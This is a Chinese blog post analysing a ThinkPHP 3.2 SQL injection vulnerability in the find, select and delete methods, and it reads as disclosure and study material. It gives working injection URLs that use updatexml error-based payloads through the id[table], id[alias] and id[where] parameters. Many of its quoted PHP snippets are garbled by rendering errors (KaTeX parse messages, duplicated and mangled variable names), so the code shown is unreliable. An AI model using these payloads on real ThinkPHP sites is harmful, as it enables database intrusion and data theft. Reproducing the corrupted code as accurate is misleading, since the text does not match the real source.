名客技术网

简体
繁体
×警告!请输入搜索关键词(仅提示一次)
网站建设电话:15927179345(资深程序)

ThinkPHP3.2 框架sql注入漏洞分析(最新)

作者:水泡泡时间:2018-11-26 17:11:25

北京时间 2018年8月23号11:25分 星期四,tp团队对于已经停止更新的thinkphp 3系列进行了一处安全更新,经过分析,此次更新修正了由于select(),find(),delete()方法可能会传入数组类型数据产生的多个sql注入隐患。

0x01 漏洞复现
下载源码:

git clone https://github.com/top-think/thinkphp.git
使用git checkout 命令将版本回退到上一次commit:

git checkout 109bf30254a38651c21837633d9293a4065c300b
使用phpstudy等集成工具搭建thinkphp,修改apache的配置文件httpd-conf
DocumentRoot “” 为thinkphp所在的目录。
ThinkPHP3.2 框架sql注入漏洞分析(最新)1

重启phpstudy,访问127.0.0.1,输出thinkphp的欢迎信息,表示thinkphp已正常运行。
ThinkPHP3.2 框架sql注入漏洞分析(最新)2
搭建数据库,数据库为tptest,表为user,表里面有三个字段id,username,pass
ThinkPHP3.2 框架sql注入漏洞分析(最新)3
修改ApplicationCommonConfconfig.php配置文件,添加数据库配置信息。
ThinkPHP3.2 框架sql注入漏洞分析(最新)4
之后在ApplicationHomeControllerIndexController.class.php 添加以下代码:

public function test()
{
$id = i(‘id’);
res=M(′user′)−>find(res = M('user')->find(res=M(′user′)−>find(id);
//res=M(′user′)−>delete(res = M('user')->delete(res=M(′user′)−>delete(id);
//res=M(′user′)−>select(res = M('user')->select(res=M(′user′)−>select(id);
}
针对select() 和find()方法 ,有很多地方可注,这里主要列举三个table,alias,where,更多还请自行跟踪一下parseSql的各个parseXXX方法,目测都是可行的,比如having,group等。

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=userwhere%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)–

alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)–

where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–

ThinkPHP3.2 框架sql注入漏洞分析(最新)5

而delete()方法的话同样,这里粗略举三个例子,table,alias,where,但使用table和alias的时候,同时还必须保证where不为空(详细原因后面会说)

where:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–

alias:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)–

table:http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)–&id[where]=1
ThinkPHP3.2 框架sql注入漏洞分析(最新)6

0x02 漏洞分析
通过github上的commit 对比其实可以粗略知道,此次更新主要是在ThinkPHP/Library/Think/Model.class.php文件中,其中对于delete,find,select三个函数进行了修改。

delete函数
ThinkPHP3.2 框架sql注入漏洞分析(最新)7
select函数
ThinkPHP3.2 框架sql注入漏洞分析(最新)8
find函数
ThinkPHP3.2 框架sql注入漏洞分析(最新)9

对比三个方法修改的地方都有一个共同点:

把外部传进来的options,修改为options,修改为options,修改为this->options,同时不再使用this−>parseOptions对于this->_parseOptions对于this−>parseOptions对于options进行表达式分析。

思考是因为$options可控,再经过_parseOptions函数之后产生了sql注入。

一 select 和 find 函数
以find函数为例进行分析(select代码类似),该函数可接受一个$options参数,作为查询数据的条件。

当$options为数字或者字符串类型的时候,直接指定当前查询表的主键作为查询字段:

if (is_numeric(options)∣∣isstring(options) || is_string(options)∣∣isstring(options)) {
where[where[where[this->getPk()] = $options;
$options = array();
$options[‘where’] = $where;
}
同时提供了对复合主键的查询,看到判断:

if (is_array(KaTeX parse error: Expected 'EOF', got '&' at position 10: options) &̲& (count(options) > 0) && is_array(pk))//根据复合主键查询......要进入复合主键查询代码,需要满足pk)) {// 根据复合主键查询......}要进入复合主键查询代码,需要满足pk))//根据复合主键查询......要进入复合主键查询代码,需要满足options为数组同时$pk主键也要为数组,但这个对于表只设置一个主键的时候不成立。

那么就可以使$options为数组,同时找到一个表只有一个主键,就可以绕过两次判断,直接进入_parseOptions进行解析。

if (is_numeric(options)∣∣isstring(options) || is_string(options)∣∣isstring(options)) {//$options为数组不进入
where[where[where[this->getPk()] = $options;
$options = array();
$options[‘where’] = $where;
}
// 根据复合主键查找记录
$pk = this−>getPk();if(isarray(this->getPk();if (is_array(this−>getPk();if(isarray(options) && (count(KaTeX parse error: Expected 'EOF', got '&' at position 15: options) > 0) &̲& is_array(pk)) { //$pk不为数组不进入

}
// 总是查找一条记录
$options[‘limit’] = 1;
// 分析表达式
$options = this−>parseOptions(this->_parseOptions(this−>parseOptions(options); //解析表达式
// 判断查询缓存

$resultSet = this−>db−>select(this->db->select(this−>db−>select(options); //底层执行
之后跟进_parseOptions方法,(分析见代码注释)

if (is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: options)) { //当options为数组的时候与$this->options数组进行整合
options=arraymerge(options = array_merge(options=arraymerge(this->options, $options);
}

if (!isset($options['table'])) {//判断是否设置了table 没设置进这里 // 自动获取表名 $options['table'] = $this->getTableName(); $fields = $this->fields; } else { // 指定数据表 则重新获取字段列表 但不支持类型检测 $fields = $this->getDbFields(); //设置了进这里 } // 数据表别名 if (!empty($options['alias'])) {//判断是否设置了数据表别名 $options['table'] .= ' ' . $options['alias']; //注意这里,直接拼接了 } // 记录操作的模型名称 $options['model'] = $this->name; // 字段类型验证 if (isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])) { //让$optison['where']不为数组或没有设置不进这里 // 对数组查询条件进行字段类型检查 ...... } // 查询过后清空sql表达式组装 避免影响下次查询 $this->options = array(); // 表达式过滤 $this->_options_filter($options); return $options;


options我们可控,那么就可以控制为数组类型,传入options我们可控,那么就可以控制为数组类型,传入options我们可控,那么就可以控制为数组类型,传入options[‘table’]或$options[‘alias’]等等,只要提层不进行过滤都是可行的。

同时我们可以不设置options[‘where’]或者设置options[‘where’]或者设置options[‘where’]或者设置options[‘where’]的值为字符串,可绕过字段类型的验证。

可以看到在整个对KaTeX parse error: Expected 'EOF', got 'Libray' at position 35: …回,跟进到底层ThinkPHP̲L̲i̲b̲r̲a̲y̲ThinkDbDiver…options的值进行替换,解析。

因为options[‘table’]或options[‘table’]或options[‘table’]或options[‘alias’]都是由parseTable函数进行解析,跟进:

if (is_array(tables))//为数组进//支持别名定义......elseif(isstring(tables)) {//为数组进// 支持别名定义......} elseif (is_string(tables))//为数组进//支持别名定义......elseif(isstring(tables)) {//不为数组进
tables=arraymap(array(tables = array_map(array(tables=arraymap(array(this, ‘parseKey’), explode(’,’, $tables));
}
return implode(’,’, $tables);
当我们传入的值不为数组,直接进行解析返回带进查询,没有任何过滤。

同时$options[‘where’]也一样,看到parseWhere函数

whereStr='';if(isstring(whereStr = '';if (is_string(whereStr=′′;if(isstring(where)) {
// 直接使用字符串条件
$whereStr = KaTeX parse error: Expected 'EOF', got '}' at position 31: …没有任何过滤 }̲ else { …whereStr) ? ‘’ : ’ WHERE ’ . $whereStr;
二 delete函数

delete函数有些不同,主要是在解析完options之后,还对options之后,还对options之后,还对options[‘where’]判断了一下是否为空,需要我们传一下值,使之不为空,从而继续执行删除操作。


// 分析表达式
$options = this−>parseOptions(this->_parseOptions(this−>parseOptions(options);
if (empty(KaTeX parse error: Expected '}', got 'EOF' at end of input: …{ //注意这里,还判断了一下options[‘where’]是否为空,为空直接返回,不再执行下面的代码。
// 如果条件为空 不进行删除操作 除非设置 1=1
return false;
}
if (is_array(KaTeX parse error: Expected 'EOF', got '&' at position 19: …ions['where']) &̲& isset(options[‘where’][$pk])) {
$pkValue = options[′where′][options['where'][options[′where′][pk];
}

if (false === $this->_before_delete($options)) { return false; } $result = $this->db->delete($options); if (false !== $result && is_numeric($result)) { $data = array(); if (isset($pkValue)) { $data[$pk] = $pkValue; } $this->_after_delete($data, $options); } // 返回删除记录个数 return $result;


0x03 漏洞修复
不再分析由外部传进来的options,使得不再可控options,使得不再可控options,使得不再可控options[‘xxx’]。

名客技术网如果无意之中侵犯了您的版权,请联系站长,本站将在3个工作日内删除 QQ:175352796
Copyright 2011-2020 Powered by 121ASK.COM, All Rights Reserved.
备案号:鄂ICP备11013833号-3